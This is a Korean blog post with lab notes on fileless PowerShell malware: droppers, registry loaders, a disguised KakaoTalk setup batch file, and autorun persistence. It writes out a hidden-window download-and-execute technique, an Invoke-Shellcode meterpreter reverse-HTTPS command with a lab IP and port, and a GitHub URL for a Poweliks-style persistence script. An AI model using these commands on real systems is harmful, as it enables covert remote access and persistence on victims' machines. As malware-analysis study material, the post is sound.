파워쉘 파일리스 악성코드

악성코드 및 포렌식|2021. 4. 6. 15:15

강력한 서버의 명령어이다 파워쉘은

 

CMD같은 역할을 하지만

서버를 제어하기위한 강력한 명령어들에대한 쉘의 기능과

 

프로그램을 구성할수있는 기능까지 포함되있다

윈도우에서 제공되는

 

모든 윈도우에는 탑재가 되어있다.

 

 

파일리스는 file less 라고 부릅니다

 

파일에없고

메모리에 상주하거나 다운받아서 사용하거나

 

파일에 존재하지않은 컨셉을 가진 악성코드

 

 

 

파워쉘은 스크립트이기도하고 언어이기도하다

 

 

악성코드 제작자들도 파워쉘을 다루면 악성코드를 쉽게 다룰수 있다.

 

 

 

 

 

일반적으로 백신에서도 탐지를 하기어려운 케이스이다.

 

 

 

 

암호화를 해두기때문에 백신이 탐지하기가 힘들다.

 

 

 

 

 

 

 

 

 

load and delete 드로퍼는

 

악성코드를 가지고와서 파워쉘과 형태들을 가지고와서

실행된 이후에는 지운다

컴퓨터가 꺼질때 콜백이되서 파일로 다시쓰고

다시 부팅될때는 다시올리고 이런 형태로 동작이합니다

즉 시스템이 꺼질때만 파일으로 동작을하는것 

그전에는 사라진다.

 

 

레지스트리 로더는

 

부팅을 하면 파일을 지우고 메모리상에 존재하다가

레지스트리로써 로딩이되는 방식

WMI hook 을 하고

create를 하는 형태이다

레지스트리로 로딩이되는 형태!

 

 

 

어떤 프로세스를 통해서 로드앤 딜리트 되는방식

 

레지스트리를 통해서 로드되는 방식

 

두가지가 있다.

 

 

 

 

powershell.exe를 실행해서

 

noprofile -windowstyle hidden을 하면

gui 형태로 보이지가않습니다.

 

파워쉘하면원래 커맨드창이뜨는데 안보인다.

 

그리고

new-objectnet.webclient를 사용해서 

 downloadstring합니다. 

깃허브에서 ps1이라는 파일을 받는다

ps1이라는 파일은 파워쉘의 스크립트 확장자입니다.

 

invoke-shellcode-payloadwindows/meterpreter/reverse https -LHOST 192.168.187.143 -Lport 4443 -Force

 

애를 가지고와서

ip주소ㅡ, 포트번호

 

invoke-shellcode는 스크립트를 payload로 가져와서 실행을 하게끔

조절을한것이다

 

즉 파일로 저장이되지않고

 

임시로 파일을 다운받아서 메모리에 실행시키는 것입니다

 

 

즉 meterpreter는 metasploit을 애기하는 것이다.

 

kakaotalk stup.exe 를 저장을 하고

이름을 바꾸는것

 

 

 

한라인으로 커맨드에서 쭉실행가능하게

 

 

레지스트리 등록하는 방법

레지스트리에 등록을 해서 매실행시마다 부팅하고 실행이된다.

 

 

 

 

 

 

===============진행

 

배치파일

 

 

 

스크립트 형태로 실행되기때문에

 

그대로 커맨드라인에 넘겨주거나 배치파일을 만들거나 검사를 수행합니다

 

배치파일을 만들어서 진행합니다./

 

노트패드를 열어서

 

 

이렇게파워 쉘을 실행하면카카오톡에서 파일을 받아오게됩니다.

 

 

 

 

%tmp%는 임시 저장 경로입니다.

 

가서 저장이되니까 save를 하고

 

 

 

a.bat을 저장하고

 

이렇게 해놓고  스타트를 하게되면

 

 

 

 

 

 

 

cmd 가 실행되게되고

 

 

 

카카오톡셋업이 실행되게됩니다.

 

 

 

cmd를 통해서 배치파일을 실행하고있고 파워쉘이 실행되게됩니다.

 

 

최종적으로 mess.exe를 실행하는 것을 볼 수 있습니다.

 

 

sniff - hit 에서 카카오톡에 요청하는 것을 볼수가 있습니다.

 

 

 

modified로 tmp파일쪽에 있다

 

 

dll도 사용하는 것 같다.

 

 

 

스크립트파일들은 난독화해제해서 분석을 해야하니까 api를 분석할 필요는 거의없다.

 

 

 

 

=============

 

 

 

이번에는 스크립트 형태로 진행해봅시다.

 

 

 

 

 

 

이런식으로하면 보이지도않고

 

숨기는 방법입니다. 에러가떠도 외부로 노출이 되지않습니다.

 

백그라운드에서 동작하기위한 명령어입니다.

 

-noprofile~~~

 

 

downlaod string 을 깃허브에서 ps1 을 다운해서  실행하도록 만든것

 

 

 

 

 

그래서 sysanalyzer로 관찰 진행을해봅니다.

 

 

 

 

잘실행된게 확인이되고

 

 

레지스트리가 잘등록이된거같아서

 

저긴 자동실행 하는 곳

 

그래서 진짜 보니까 자동실행이 등록이되있습니다.

 

 

이렇게 확인까지 가능했습니다.

encrypt 되서 들어간 것을 확인이 가능했고

 

 

 

raw.githubusercontent.com/Und3rf10w/Aggressor-scripts/master/kits/PersistKit/scripts/Persist-Poweliks.ps1

우리가 쓴 url 을 한번 가봅시다.

 

 

 

총 3개의 함수가 존재합니다.

 

하나는 지우고, 테스트와, 설치하기위해 만든용도가 존재합니다.

이렇게 도움말도존재하고

요런식으로 <provided by cobalt strike에서> 제공받은 페이로드를 생성해서 넣어라

 

 

 

이쪽에다 설치해라~ 라는 내용이나 세팅이되어있다는 것을 알면 될 거 같습니다.

 

 

 

댓글()